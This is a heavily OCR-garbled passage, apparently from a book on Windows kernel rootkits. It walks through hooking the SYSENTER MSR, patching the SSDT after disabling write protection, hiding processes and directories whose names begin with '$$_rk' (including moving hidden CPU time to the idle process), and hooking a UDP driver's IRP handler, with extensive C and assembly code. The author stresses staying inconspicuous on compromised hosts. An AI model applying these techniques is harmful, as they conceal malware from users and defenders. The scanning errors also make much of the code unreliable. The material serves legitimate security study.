//IN HANDLE Handle //IN ACCESS_MASK DesiredAccess //IN POBJECT_TYPE ObjectType OPTIONAL //IN KPROCESSOR_MOOE AccessMode flOUT PVOID *Object //OUT POBJECT_HANDLE_INFORMATION //HandleInformation
timeout.QuadPart = see;
while
//idle loop
}
Port"
I 281
This function sets the affinity mask of the currently executing thread. This forces an immediate context switch if the current processor doesn't fall in the bounds of the newly set affinity mask. Furthermore, the function will not return until the thread is scheduled to run on a processor that conforms to the affinity mask. In other words, the KeSetAffini tyThread () routine allows you to choose which processor a thread executes on. To hook the MSR on a given CPU, we set the affinity bitmap to identify a specific processor.
KAFFINITY currentCPU
=
The index variable (i) varies from 0 to 31. The affinity bitmap is just a 32-bit value, such that you can specify at most 32 processors (each bit representing a distinct CPU). Hence the following macro:
#define nCPUS
32
Once we've set the affinity of the current thread to a given processor, we invoke the code that actually does the hooking such that the specified CPU has its MSR modified. We repeat this process for each processor (recycling the current thread for each iteration) until we've hooked them all. This is a much more elegant and tighter solution than the brute force code we used for hooking interrupts. In the previous case, we basically fired off identical threads until the hooking code had executed on all processors.
void
{
HookAllCPUs(~
procAddress)
RtlInitUnicodeString(&procName, L"KeSetAffinityThread")j KeSetAffinityThread = (KeSetAffinityThreadPtr)MmGetSystemRoutineAddress (&procName)j cpuBitMap = KeQueryActiveProcessors()j pKThread = KeGetCurrentThread()j DBG_TRACE("HookAlICPUs", "Perfonning a sweep of all CPUs")j
2821 Port II
originalMSRLOWValue = HookCPU(procAddress);
}
KeSetAffinityThread(pKThread, cpuBitMap); PsTerminateSystemThread(STATUS_SUCCESS); return; }/*end HookAllCPUs()----- ---- -- - --- --- - ----------------------- ------- ------*/
The MSR hooking routine reads the IA32_SYSENTER_EIP MSR, which is designated by a macro.
Once we've read the existing value in this MSR, you can modify the offset address that it stores by manipulating the lower-order double word. The higher-order double word is usually set to zero. You can verify this for yourself using the Kd. exe kernel debugger.
kd> rdmsr 176 msr[176] = eeeeeeee' 8187f8B9 kd> x nt!KiFastCallEntry 8187f8B9 nt!KiFastCallEntry = <no type information>
As you can see, the original contents of this register's lower-order double word references the KiFastCallEntry routine. This is the code that we're going to replace with our hook.
[WJR[) HookCPU([WJR[) pro<Address)
{
MSR ol<folSR; MSR neW1SR; getMSR(IA32_SYSENTER_EIP, &oldMSR); newMSR . loValue = oldMSR.loValue; neW1SR, hiValue = oldMSR. hi Value;
Port II 1283
newMSR.loValue
procAddressj
DBG_PRINT2("[HookCPU]: Existing IA32_SYSENTER_EIP: %8x\n", oldMSR.loValue)j DBG]RINT2("[HookCPU]: New IA32_SYSENTER_EIP: %8x\n", newMSR.loValue)j setMSR(IA32_SYSENTER_EIP, &newMSR)j return (oldMSR .1oValue) ; }/*end HookCPU() ----------- ---- --- --- ------------- -------------------------*/
We get and set the value of the IA32_SYSENTER_EIP MSR using two routines that wrap assembly code invocations of the RDMSR and WRMSR instructions. The RDMSR instruction takes the 64-bit MSR, specified by the MSR address in ECX, and places the higher-order double word in EDX. Likewise, it places the lower-order double word in EAX. This is often represented in shorthand as
EDX:EAX.
The WRMSR instruction is the mirror image of RDMSR. It takes the 64 bits in EDX: EAX and places it in the MSR specified by the MSR address in the ECX register.
void getMSR(DWORD regAddress, PMSR msr)
{
mov ecx, regAddressj rdmsrj mov hiValue, edxj mov loValue, eaXj (*msr).hiValue (*msr).loValue
= =
hiValuej loValuej
returnj }/*end getMSR() ------------ ------------------------------------------------*/ void setMSR(DWORD regAddress, PMSR msr)
{
(*msr).hiValuej (*msr).loValuej
2841 Port"
wnnsr;
}
In the HookAllCPUs () and HookCPU() functions, there's a DWORD argument named procAddress that represents the address of our hook routine. This hook routine would look something like:
void _deelspee(naked) KiFastSystemCallHook()
{
pushad pushfd mov eex, 0x23 push 0x30 pop fs mov ds, ex moves, ex
//PUSH EAX, ECX, EOX, EBX, ESP, EBP, ES1, ED1 / /PUSH EFLAGS
//-------------------------popfd //POP EFLAGS popad //POP EAX, ECX, EOX, EBX, ESP, EBP, ES1, E01 jmp [originalMSRLowValue 1
}
Note that this function is naked and lacking a built-in prologue or epilogue. You might also be wondering about the first few lines of assembly code. That little voice in your head may be asking: "How did he know to move the value (3x23 into ECX?" The answer is simple: I just used Kd. exe to disassemble the first few lines of the KiFastCallEntry routine.
Kd> uf nt!KiFastCallEntry mov eex, 23h push 30h pop fs mov ds, ex moves, ex
The LogSystemCall routine bears a striking resemblance to the one we used for interrupt hooking. There is, however, one significant difference. I've put in code that limits the amount of output streamed to the debugger console. If
Port"
I 285
we log every system call, the debugger console will quickly become overwhelmed with output. There's simply too much going on at the system level to log every call. Instead, I log only a small percentage of the total. How come I didn't throttle logging in my last example with INT ex2E ? When I wrote the interrupt hooking code for the last section, I was using a quad-core processor that was released in 2007. This machine uses SYSENTER to make system calls, not the INT ex2E instruction. I could get away with logging every call to INT ex2E because almost no one (except me) was invoking the system-gate interrupt. That's right, I was throwing a party and no one else came. To test my interrupt-hooking KMD, I wrote a user-mode test program that literally did nothing but execute the INT ex2E instruction every few seconds. In the case of the SYSENTER instruction I can't get away with this because everyone and his uncle is going to kernel mode through SYSENTER.
void __stdcall LogSystemCall(DWORD dispatchID, DWORD stackPtr)
{
DbgPrint
(
"[LogSystemCall]: on CPU[%u] of %u, (%5, pid=%u, dispatchID=%x)\n", KeGetCurrentProcessorNumber(), nActiveProcessors, (BYTE *)PsGetCurrentProcess( )+0xl4c, PsGetCurrentProcessId(), dispatchID
)j
Though this technique is more salient, given the role that SYSENTER plays on modern systems, it's still a pain. As with interrupt hooks, routines that hook the IA32_SYSENTER_EIP MSR are pass-through functions. They're also difficult to work with and easy to detect.
286
Po rl II
We first met the System Service Dispatch Table (SSDT) in the last chapter. From the standpoint of a developer, the first thing we need to know is how to access and represent this structure. We know that the ntoskrnl. exe exports the KeDescriptorTable entry. This can be verified using dumpbin. exe:
C:\Windows\System32>dumpbin lexports ntoskrnl.exe : findstr ooKeServiceDescriptor oo 824 325 e012CSCe KeServiceDescriptorTable
For the sake of this discussion, we're going to focus on the KeServiceDescriptorTable. Its first four double-words look like:
e: kd> dps nt!KeServiceDescriptorTable 81b6fbee 81afe97e nt!KiServiceTable 81b6fb04 eeeeeeee 81b6fbe8 eeeee187 81b6fbec 81afefge nt!KiArgumentTable l4 Iladdress of the SSOT linot used 11391 system calls Iisize of arg stack (1 byte per routine)
According to Microsoft, the service descriptor table is an array of four structures where each of the four structures consists of four double-words entries. Thus, we can represent the service descriptor tables as:
typedef struct ServiceDescriptorTable
{
Where each service descriptor in the table assumes the form of the four double-words we just dumped with the kernel debugger:
#pragma pack(1) typedef struct ServiceDescriptorEntry
{
OWORD *KiServiceTable; DWORD *CounterBaseTable; OWORD nSystemCalls; OWORD *KiArgumentTable; } SOE, *PSDE; #pragma pack()
Iladdress of the SSOT linot used Iinumber of system calls (i.e., 391) Ilbyte array (each byte = size of arg stack)
The data structure that we're after, the SSDT, is the call table referenced by the first field.
e: kd> dps nt!KiServiceTable 81afe97e 81bf2949 ntlNtAcceptConnectPort 81afe974 81a5fe1f nt!NtAccessCheck 81afe978 81c269bd nt!NtAccessCheckAndAuditAlarm 81afe97c 81a64181 nt!NtAccessCheckByType
Po rl II
I 287
> Nole:
Recall from Chapter 2 that protected-mode memory protection on the IA-32 platform relies on the following factors: The privilege level of the code doing the accessing The privilege level of the code being accessed The read/write status of the page being accessed
Given that Windows uses a flat memory model, these factors are realized using bit flags in PDEs, PTEs, and the CRe register: The R/W flag in PDEs and PTEs (0 The U/S flag in PDEs and PTEs (0
Intel documentation states that: "If CRe . W = 1, access type is determined by P the R/W flags of the page-directory and page-table entries. IF CRe. W = 0, P supervisor privilege permits read-write access." Thus, to subvert the write protection on the SSDT, we need to temporarily clear the W flag. P I know of two ways to toggle W The first method is the most direct and also P. the one that I prefer. It consists of two routines invoked from Ring 0 (inside a KMD) that perform bitwise operations to change the state of the W flag. The P fact that the CRe register is 32 bits in size makes it easy to work with. Also, there are no special instructions to load or store the value in CRe. We can use a plain-old WJV assembly code instruction in conjunction with a generalpurpose register to do the job.
288
Po rl "
void disableWP_CR0()
{
AND EBX,0xFFFEFFFF I"CN CR0,EBX POP EBX return; }/*end disableWP_CR0-------------- ------------------------------------ -----*/ void enableWP_CR0()
{
PUSH EBX
I"CN EBX,CR0
struct _MOL *Next; CSHORT Size; CSHORT MdIFlags; //flag bits that control access struct _EPROCESS *Process; //owning process PVOID MappedSystemVa; PVOID StartVa; ULONG ByteCount; //size of linear address buffer //offset within a physical page of start of buffer ULONG ByteOffset; } MOL, *PMDL;
Part II 1289
We disable read protection by allocating our own MDL to describe the SSDT (this is an MDL that we control, which is the key). The MDL is associated with the physical memory pages that store the contents of the SSDT. Once we've superimposed our own private description on this region of physical memory, we adjust permissions on the MDL using a bitwise OR and the MDL_MAPPED_TO_SYSTEM_VA macro (which is defined in wdm.h). Again, we can get away with this because we own the MDL object. Finally, we formalize the mapping between the SSDT's location in physical memory and the MDL. Then we lock the MDL buffer we created in linear space. In return, we get a new linear address that also points to the SSDT, and which we can manipulate. To summarize: Using an MDL we create a new writable buffer in the system's linear address space, which just happens to resolve to the physical memory that stores the SSDT. As long as both regions resolve to the same region of physical memory, it doesn't make a difference. It's an accounting trick, pure and simple. If you can't write to a given region of linear memory, create your own region and write to it.
WP_GLOBALS disableWP_MOL
(
II Build a MOL in the nonpaged pool that's large enough to map the SSOT wpGlobals.pMDL = MmCreateMdl
(
if(wpGlobals.pMDL==NULL)
{
Ilupdate the MOL to describe the underlying physical pages of the SSOT MmBuildMdlForNonPagedPool(wpGlobals.pMDL)j
290
Port II
//maps the physical pages that are described by the MOL and locks them wpGlobals.callTable = (BYTE*)r-trMapLockedPages{wpGlobals . pMDL, KernelMode); if{wpGlobals.callTable==NULL)
{
DBG]RINT2{"[disableWP_MOL]: address of callTable=%x\n",wpGlobals.callTable); return (wpGlobals) ; }/*end disableWP_MOL{)------------ -- ---------- ----- ------------------------ */
This routine returns a structure that is merely a wrapper for pointers to our MDL and the SSDT.
typedef struct _WP_GLOBALS
{
We return this structure from the previous function so that we can access a writeable version of the SSDT and so that later on, when we no longer need the MDL buffer, we can restore the original state of affairs. To restore the system, we use the following function:
void enableWP_MOL{PMDL mdlptr, BYTE* callTable)
{
if{mdlptr!=NULL)
{
PLONG target; DWORD indexValue; indexValue = getSSDTlndex{apiCall); target = (PLONG) &(callTable[indexValue]); return{{BYTE*)InterlockedExchange{target,{LONG)newAddr; }/*end hookSSDT{)----------------------------------------------------- - ----*/
Port II
I 291
This routine takes the address of the hook routine, the address of the existing routine, and a pointer to the SSDT. It returns the address of the existing routine (so that you can restore the SSDT when you're done). This routine is subtle, so let's move through it in slow motion. We begin by locating the index of the array element in the SSDT that contains the value of the existing system call. In other words, given some Nt* () function, where is its address in the SSDT? The answer to this question can be found using our good friend Kd. exe. Through a little disassembly, we can see that all of the Zw* () routines begin with a line of the form: mov eax, xxxh.
0: kd> u nt!ZwSetValueKey nt!ZWSetValueKey: 81a999c8 b844010000 mov 81a999cd 8d542494 lea 81a999d1 9c pushfd 81a999d2 6a08 push 81a999d4 e8a50e0Be0 call 81a999d9 c21800 ret
To get the index number of a system call, we look at the DWORD following the first byte. This is how the getSSDTIndex() function works its magic.
DWORO getSSOTlndex(BYTE* address)
{
BYTE* addressOflndexj DWORO indexValuej addressOflndex = address+1j indexValue = *PULONG)addressOflndex)j return(indexValue)j }/*end getSSOTlndex()--------------------------- - --------------------------*/
Once we have the index value, it's a simple matter to locate the address of the table entry and to swap it out. Though notice that we have to lock access to this entry using an InterLockedExchange() so that we temporarily have exclusive access. Unlike processor-based structures like the IDT or GDT, there's only a single SSDT regardless of how many processors are running. Unhooking a system call in the SSDT uses the same basic mechanics. The only real difference is that we don't return a value to the calling routine.
void unHookSSOT(BYTE* apiCall, BYTE* oldAddr, DWDRD* callTable)
{
292
Po rt II
indexValue = getSSOTlndex(apiCall); target = (PLONG) &(callTable[indexValue]); InterlockedExchange(target, (LONG)oldAddr); }/*end unHookSSOT()------------- - ------------------------------------------ */
KeServiceOescriptorTable.KiServiceTable, KeServiceOescriptorTable.nSystemCalls
);
return(STATUS_UNSUCCESSFUL);
}
The KeServiceDescriptorTable is a symbol that's exported by ntoskrnl. exe. To access it, we have to prefix the declaration with _declspec (dllimport) so that the compiler is aware of what we're doing. The exported kernel symbol gives us the address of a location in memory (at the most primitive level that's really what symbols represent). The data type definition that we provided (i.e., typedef struct _SDE) imposes a certain compositional structure on the memory at this address. Using this general approach you can manipulate any variable exported by the operating system. We save return values in three global variables (pMDL, systemCall Table, and oldZwSetValueKey) so that we can unhook the system call and re-enable write protection at a later time.
Po rl II
I 293
II
( );
The function that I've hooked is invoked whenever a registry value is created or changed.
NTSYSAPI NTSTATUS NTAPI ZwSetValueKey
(
IN IN IN IN IN IN
);
HANDLE KeyHandle, PUNICODE_STRING ValueName, ULONG TitleIndex OPTIONAL, ULONG Type, PVOID Data, ULONG DataSize
/ / handle to the key containing the value //name of the value / / device drivers can ignore this //type macro (e.g., REG_D't.ORD), see winnt.h / / pointer to data associated with the value //size of the above data (in bytes)
To store the address of the existing system call that implements this interface, the following function pointer data type was defined:
typedef NTSTATUS (*ZwSetValueKeyptr)
(
IN IN IN IN IN IN
);
HANDLE KeyHandle, PUNICODE_STRING ValueName, ULONG TitleIndex OPTIONAL, ULONG Type, PVOID Data , ULONG DataSize
The only thing left to do is to implement the hook routine. In this case, rather than call the original system call and filter the results, I trace the call by printing out parameter information and then call the original system call.
NTSTATUS newZwSetValueKey
(
IN IN IN IN IN IN
HANDLE KeyHandle, PUNICODE_STRING ValueName, ULONG TitleIndex OPTIONAL, ULONG Type, PVOID Data, ULONG DataSize
NTSTATUS ANSI_STRING
ntStatus; ansiString;
294
ParI II
DBG_PRINT2("[newZwSetValueKey]:\t\tType==REG_SZ\tData=%S\n",Data); }break;
};
ntStatus = ZwSetValueKeyptr)(oldZwSetValueKey
(
if(!NT_SUCCESS(ntStatus
{
What we have established over the course of this example is a standard operating procedure for hooking the SSDT. The mechanics for hooking and unhooking remain the same regardless of which routine we're intercepting. From here on out, whenever we want to trace or filter a system call, all we have to do is the following:
1.
2. 3. 4.
Declare the original system call prototype (e.g., ZwSetValueKey( )). Declare a corresponding function pointer data type (e.g., ZwSetValueKeyptr). Define a function pointer (e.g., oldZwSetValueKey). Implement a hook routine (e.g., newZwSetValueKeyO).
Po rl II
I 295
IN ULONG SystemInformationClass, //element of SYSTEM_IN FORMATION_CLASS IN PVOID SystemInformation, //makeup depends on SystemInformationClass IN ULONG SystemInformationLength, //size (in bytes) of SystemInformation buffer OUT PULONG ReturnLength
This is another semi-documented function call that Microsoft would prefer that you stay away from. The fact that the SystemInformation argument is a pointer of type Void hints that this parameter could be anything. The nature of what it points to is determined by the SystemInformationClass argument, which takes values from the SYSTEM_INFORMATION_CLASS enumeration defined in the SDK's winternl. h header file.
typedef enum _SYSTEM_INFORMATION_CLASS
{
SystemBasicInformation = 0, SystemPerformanceInformation = 2, SystemTimeOfDayInformation = 3, SystemProcessInformation = 5, SystemProcessorPerformanceInformation SystemInterruptInformation = 23, SystemExceptionInformation = 33, SystemRegistryQuotaInformation = 37, SystemLookasideInformation = 45 } SYSTEM_INFORMATION_CLASS;
8,
There are two values that we'll be working with in this example:
#define SystemProcessInformation #define SystemProcessorPerformanceInformation 5 8
Because we're writing code for a KMD, we must define these values. We can't include the winternl. h header file because the DDK header files and the SDK header files don't get along very well.
If SystemInformationClass is equal to SystemProcessInformation, the SystemInformation parameter will point to an array of SYSTEM_PROCESS_ INFORMATION structures. Each element of this array represents a running process. The exact composition of the structure varies depending on whether you're looking at the SDK documentation or the winternl. h header file.
//Format of structure according to Windows SDK------------------------------typedef struct _SYSTEM_PROCESS_INFORMATION
{
2961 Port II
//------------------------------------------------------//------------------------------------------------------HANDLE UniqueProcessId; PVOID Reserved3; ULONG HandleCount; BYTE Reserved4[4]; PVOID ReservedS [11]; SIZE_T PeakPagefileUsage; SIZE_T PrivatePageCount; LARGE_INTEGER Reserved6[6]; } SYSTEM_PROCESS_INFORMATION; //Format of structure as mandated by the header file---- --------------- -----typedef struct _SYSTEM_PROCESS_INFORMATION
{
ULONG NextEntryOffset; BYTE Reservedl[S2]; PVOID Reserved2[3]; HANDLE UniqueProcessId; PVOID Reserved3; ULONG HandleCount; BYTE Reserved4[4]; PVOID ReservedS[ll]; SIZE_T PeakPagefileUsage; SIZE_T PrivatePageCount; LARGE_INTEGER Reserved6[6]; } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
Microsoft has tried to obfuscate the location of other fields under the guise of "reserved" byte arrays. Inevitably, you'll be forced to do a bit of reverseengineering to ferret out the location of the field that contains the process name as a Unicode string.
typedef struct _SYSTEM_PROCESS_INFO
{
ULONG ULONG ULONG LARGE_INTEGER LARGE_INTEGER LARGE_INTEGER UNICODE_STRING KPRIORITY HANDLE PVOID ULONG BYTE
NextEntryOffset; NumberOfThreads; Reserved [6]; CreateTime; UserTime; KernelTime; ProcessName; BasePriority; UniqueProcessId; Reserved3; HandleCount; Reserved4[ 4];
//---------------- ------------------
Port II
I 297
If SystemInformationClass is equal to SystemProcessorPerformanceInformation, the SystemInformation parameter will point to an array of structures described by the following type definition:
typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFO
{
LARGE_INTEGER IdleTime; //time system idle, in l/laeths of a nanosecond LARGE_INTEGER KernelTime; //time in kernel mode, in l/laeths of a nanosecond LARGE_INTEGER UserTime; //time in user mode, in l/laeths of a nanosecond LARGE_INTEGER Reservedl[2]; ULONG Reserved2; }SYSTEM_PROCESSOR_PERFORMANCE_INFO, *PSYSTEM_PROCESSOR_PERFORMANCE_INFO;
There will be one array element for each processor on the machine. This structure details a basic breakdown of how the processor's time has been spent. This structure is important because it will help us conceal the time allocated to the hidden processes by allocating it to the system idle process. We store this surplus time in a couple of global, 64-bit LARGE_INTEGER variables.
LARGE_INTEGER LARGE_INTEGER timeHiddenUser; timeHiddenKernel;
The array of SYSTEM_PROCESS_INFORMATION structures is a one-way linked list. The last element is terminated by setting its NextEntryOffset field to zero. In our code, we'll hide processes whose names begin with the Unicode string "$Lrk." To do so, we'll reconfigure offset links so that hidden entries are skipped in the list (though they will still exist and consume storage space, see Figure 5-7). Let's walk through the code that hooks this system call. We begin by calling the original system call so that we can filter the results. If there's a problem, we don't even try to filter; we simply return early.
NTSTATUS newZwQuerySystemInformation
(
IN ULONG SystemInformationClass, //element of SYSTEM_INFORMATION_CLASS IN PVOID SystemInformation, //makeup depends upon SystemInformationClass IN ULONG SystemInformationLength, //size (in bytes) of SystemInformation buffer OUT PULONG ReturnLength
298
Po rt II
ntStatus = ZwQuerySystemlnformationptr)(oldZwQuerySystemlnformation
(
if(!NT_SUCCESS(ntStatus{ return(ntStatus); }
Before After
Figure 5-7
If the call is querying processor performance information, we merely take the time that the hidden processes accumulated and shift it over to the system idle time_
if (SystemlnformationClass == SystemProcessorPerformancelnformation)
{
Once we've made it to this point in the code, it's safe to assume that the invoker has requested a process information list. In other words, the SystemInformation parameter will reference an array of SYSTEM_PROCESS_ INFORMATION structures. Hence, we set the current and previous array
Port II 1299
II
pointers and iterate through the array looking for elements whose process name begins with "$$Jk." If we find any, we adjust link offsets to skip them. Most of the code revolves around handling all the special little cases that pop up (e.g., what if a hidden process is the first element of the list, the last element of the list, what if the list consists of a single element, etc.).
cSPI = (PSYSTEM_PROCESS_INFO)SystemInformation; pSPI = NULL; while(cSPI!=NULL)
{
if *CSPI).ProcessName.Buffer == NULL)
{
//Null process name == System Idle Process (inject hidden task time) (*cSPI).UserTime.QuadPart (*cSPI).UserTime.QuadPart + timeHiddenUser .QuadPart; (*cSPI).KernelTime.QuadPart = (*cSPI).KernelTime.QuadPart + timeHiddenKernel.QuadPart; timeHiddenUser.QuadPart timeHiddenKernel.QuadPart
}
= 8; = 8;
//must hide this process //first, track time used by hidden process timeHiddenUser.QuadPart timeHiddenUser.QuadPart + (*cSPI) .UserTime .QuadPart; timeHiddenKernel.QuadPart = timeHiddenKernel.QuadPart + (*cSPI).KernelTime.QuadPart; if(pSPI! =NULL)
{
//current entry is the last in the array (*pSPI).NextEntryOffset = 8; else //This is the case seen in Figure 5-7 (*pSPI).NextEntryOffset = (*pSPI).NextEntryOffset + (*cSPI).NextEntryOffset;
}
300
Port II
lithe array consists of a single hidden entry //set to NULL so invoker doesn't see it) SystemInformation = NULL;
}
else
{
//hidden task is first array element //simply increment pointer to hide task (BYTE *)SystemInformation = BYTE*)SystemInformation) + (*cSPI).NextEntryOffset;
}
pSPI
cSPI;
Once we've removed a hidden process from this array, we need to update the current element pointer and the previous element pointer.
//move to the next element in the array (or set to NULL if at last element) if*cSPI).NextEntryOffset != 0)
{
= BYTE*)cSPI)
(*cSPI).NextEntryOffset;
NULL; }
IN HMOLE IN HMOLE IN PIO_APC_ROUTINE IN PVOID OUT PIO_STATUS_BLOCK OUT PVOID IN ULONG IN FILE_INFORMATION_CLASS IN BOOLEAN IN PUNICODE_STRING IN BOOLEAN
);
FileHandle, Event OPTIONAL, ApcRoutine OPTIONAL, ApcContext OPTIONAL, IoStatusBlock, FileInformation, Length, FileInformationClass, ReturnSingleEntry, FileName OPTIONAL, RestartScan
Po rl II
I 301
As in the earlier example, we have a void pointer named FileInformation that could be anything. The composition of what it references is determined by the FileInformationClass parameter, which assumes values in the FILE_INFORMATION_CLASS enumeration (see wdm.h in the WDK).
typedef enum _FILE_INFORMATION_CLASS { FileDirectoryInfonmation FileFullDirectoryInfonmation, II FileBothDirectoryInfonmation, II
= 1,
=2
= 3
} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASSj
When FileInfo rmationClass is set to FileBothDirectoryInfo rmatio n, the FileInformation parameter points to an array of FILE_BOTH_DIR_ INFORMATION structures (see nti fs. h in the WDK). Each array element corresponds to a directory. The last element in the array has its NextEntryOffset field set to zero.
typedef struct _FILE_BOTH_DIR_INFORMATION
{
NextEntryOffsetj ULONG ULONG FileIndexj LARGE_INTEGER CreationTimej LARGE_INTEGER LastAccessTimej lARGE_INTEGER LastWriteTimej lARGE_INTEGER ChangeTimej lARGE_INTEGER EndOfFilej lARGE_INTEGER AllocationSize j LONG FileAttributes j U ULONG FileNameLengthj ULONG EaSize j CCHAR ShortNameLengthj WCHAR ShortName[12]j WCHAR FileName[l]j } FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATIONj
As before, the initial dance steps consist of invoking the original system call so that we can filter the results. Then we single out all instances in which FileInformationClass is not set to the value that we're interested in, and return early.
NTSTATUS newZwQueryDirectoryFile
(
IN HMOLE IN HMOLE IN PIO_APC_ROOTINE IN PVOID OOT PIO _STATUS_BLOCK OOT PVOID IN ULONG IN FILE_INFORMATION_CLASS
FileHandle, Event OPTIONAL, ApcRoutine OPTIONAL, ApcContext OPTIONAL, IoStatusBlock, FileInfonmation, Length, FileInfonmationClass,
3021 Part II
NTSTATUS ntStatusj PFILE_BOTH_DIR_INFORMATION currDirectory; PFILE_BOTH_DIR_INFORMATION prevDirectory; SIZE_T nBytesEqual; ntStatus = oldZwQueryDirectoryFile
(
FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, FileInformation, Length, FileInformationClass, ReturnSingleEntry, FileName, RestartScan
);
if
(
(!NT_SUCCESS{ntStatus: : (FileInformationClass!=FileBothDirectoryInformation)
)
return{ntStatus);
At this point, our game plan is to sweep through the array of structures looking for directories whose names begin with "$$Jk." To this end, we use the following global constructs:
WCHAR rkDirName[] #define RKDIR_NAME_LENGTH #define NO_MORE_ENTRIES = L"$$_rk";
10
If we locate a directory whose name begins with "$$Jk," we simply shift the corresponding structure array to erase the entry (see Figure 5-8).
currDirectory = (PFILE_BOTH_DIR_INFORMATION) FileInformation; prevDirectory = NULL; do
{
/ /check to see if the current directory's name starts with $$Jk" nBytesEqual = RtlCompareMemory
{
(PVOID)&{{*currDirectory) . FileName[0]),
Part"
1303
(PVOID)&(rkDirName[0]), RKDIR_NAME_LENGTH
);
if(nBytesEqual==RKDIR_NAME_LENGTH)
{
if*currDirectory).NextEntryOffset!=NO_MDRE_ENTRIES)
{
int delta; int nBytes; delta = ULONG)currDirectory) - (ULONG)FileInformation; nBytes = (DWDRD)Length - delta; nBytes = nBytes - (*currDirectory).NextEntryOffset; RtlCopyMemory
(
//only one directory (and it's the last one) ntStatus = STATUS_NO_MDRE_FILES;
}
else //list has more than one directory, set previous to end of list (*prevDirectory).NextEntryOffset= NO_MDRE_ENTRIES; //exit the while loop to return break;
}
This code works as expected on Windows XP. On Vista, it only works for console sessions. Which is to say that, assuming the above driver is loaded and running, Vista's Windows Explorer can still see H$$Jk" directories but listings from the command prompt cannot. Evidently Microsoft has done some system call rewiring between versions.
3041 Part II
1--- - delta
Filelnformation
nBytes
I..!:::::II
F 5-8 igure
-----
__
:U--.J
NextE ntryOHset
If someone notices traffic emanating from a machine that isn't registering the corresponding network connections, they'll know that something is wrong. They'll start digging around and this could spell the beginning of the end (e.g., re-flash firmware, inspect/replace hardware, rebuild from install media, and patch). This runs contrary to the goals of a rootkit. When it comes to achieving and maintaining Ring 0 access, the name of the game is stealth. At all costs you must remain inconspicuous. If you're generating packets that are captured via a SPAN port, and yet they don't show up at all on the compromised host ... this is anything but inconspicuous.
Part II
1305
II
306
Po rl II
NTSTATUS InstallIRPHook()
{
NTSTATUS ntStatus; UNICODE_STRING deviceName; WCHAR devNameBuffer[] = L"\\Device\\Udp"; hookedFile hookedDevice hookedDriver = MlLL; = MlLL; = MlLL;
//IN PUNICODE_STRING ObjectName //IN ACCESS_MASK DesiredAccess //OUT PFILE_OBJECT *FileObject //OUT PDEVICE_OBJECT *DeviceObject
if(!NT_SUCCESS(ntStatus
{
InterlockedExchange
(
(PLONG)&*hookedDriver).MajorFunction[IRP_MJ_DEVICE_CONTROL]), (ULONG)hookRoutine
);
DBG_TRACE(""InstallIRPHook", "Hook has been installed"); return(STATUS_SUCCESS); }/*end InstallIRPHook() ------------------------------- ----------- ---- ------ */
Our hook routine does nothing more than announce the invocation and then pass the IRP on to the original handler.
NTSTATUS hook Routine IN PDEVICE_OBJECT IN PIRP pOeviceObject, pIRP
Port II 1307
As mentioned earlier, once we're done it's important to dereference the targeted device object so that the KMD we hooked can unload the driver if it needs to.
VOID Unload
(
IN PDRIVER_OBJECT pDriverObject
) {
InterlockedExchange
(
(PLONG)&*hookedDriver).MajorFunction[IRP_MD_DEVICE_CONTROL]), (LONG)oldDispatchFunction
);
if(hookedFile != NULL)
{
ObDereferenceObject(hookedFile); hooked File = NULL; DBG_TRACE("OnUnload","Hook and object reference have been released"); return; }/*end Unload()------------------------------------------------------------*/
WORD size_00_15; WORD baseAddress_00_15; WORD WORD WORD WORD WORD baseAddress_16_23:8; type:4; sFlag:1; dpl:2; pFlag:1;
//seg. size (Part-I, 00:15), incr. by G flag //linear base address of GOT (Part-I, 00:15) //linear base address of GOT (Part-II, 16:23) //descriptor type (Code, Data) //5 flag (9 = system segmemt, 1 = code/data) //Descriptor Privilege Level (OPL) = 9x9-9x3 //P flag (1 = segment present in memory)
//---------------------------------------------------------------------
3081 Part II
WORD size_16_19:4j Iiseg. size (Part-II, 16:19), incr. by G flag WORD notUsed:1j linot used (0) WORD IFlag:1j IlL flag (0) WORD 08:1j llOefault size for operands and addresses WORD gFlag:1j IIG flag (granularity, 1 = 4KB, 0 = 1 byte) WORD baseAddress_24_31:8j Illinear base address (Part-III, 24:31) }SEG_DESCRIPTOR, *PSEG_DESCRIPTORj #pragrna pack()
If any of these fields look foreign to you, go back and review the material in
Chapter 2. As usual, we use the #pragma pack directive to preclude alignment padding, and fields are populated starting with the lowest-order bits of the descriptor (we fill in the structure from top to bottom, starting at the lowest address). A call gate is a special sort of GDT descriptor called a system descriptor. It's the same size as a segment descriptor (8 bytes), it's just that the layout and meaning of certain fields change slightly. From the perspective of a C programmer, a call-gate descriptor would look like:
#pragma pack(l) typedef struct _CALL_GATE_DESCRIPTOR
{
II procedure address (lo-order word) II specifies code segment, KGOT_R0_COOE, see below
WORD argCount:5j Iinumber of arguments (DWORDs) to pass on stack WORD zeroes:3j Iiset to (eee) WORD type:4j Iidescriptor type, 32-bit call gate (11008 = 0xC) WORD sFlag:1j liS flag (0 = system segmemt) WORD dpl: 2j IIDPL required by caller through gate (11 = 0x3) WORD pFlag: 1; liP flag (1 = segment present in memory) WORD offset_16_31j II procedure address (high-order word) }CALL_GATE_DESCRIPTOR, *PCALL_GATE_DESCRIPTORj #pragma packO
A call gate is used so that code running at a lower privilege level (i.e., Ring 3) can legally invoke a routine running at a higher privilege level (i.e., Ring 0). To populate a call-gate descriptor, you need to specify the linear address of the routine, the segment selector that designates the segment containing this routine, and the DPL required by the code that calls the routine. There are also other random bits of metadata, like the number of arguments to pass to the routine via the stack. Our call gate will be located in the memory image of a KMD. This can be described as residing in the Windows Ring 0 code segment. Windows has a flat memory model, so there's really only one big segment. The selector to this segment is defined in theWDK's ks386. inc assembly code file.
Pa rl II
I 309
II
KGDT_R3_DATA equ aee2eH KGDT_R3_CDDE equ aee18H KGDT_Re_DATA KGDT_Re_PCR KGDT_STACK16 K GDT_CDDE16 KGDT_TSS KGDT_R3_TEB KGDT_DF_TSS KGDT_NMI_TSS KGDT_LDT equ equ equ equ equ equ equ equ equ aeeleH aee3eH aeeF8H aeeFeH aee28H aee38H aeeSeH aeeS8H eee48H
= [GDT index][GDT/LDT][RPL]
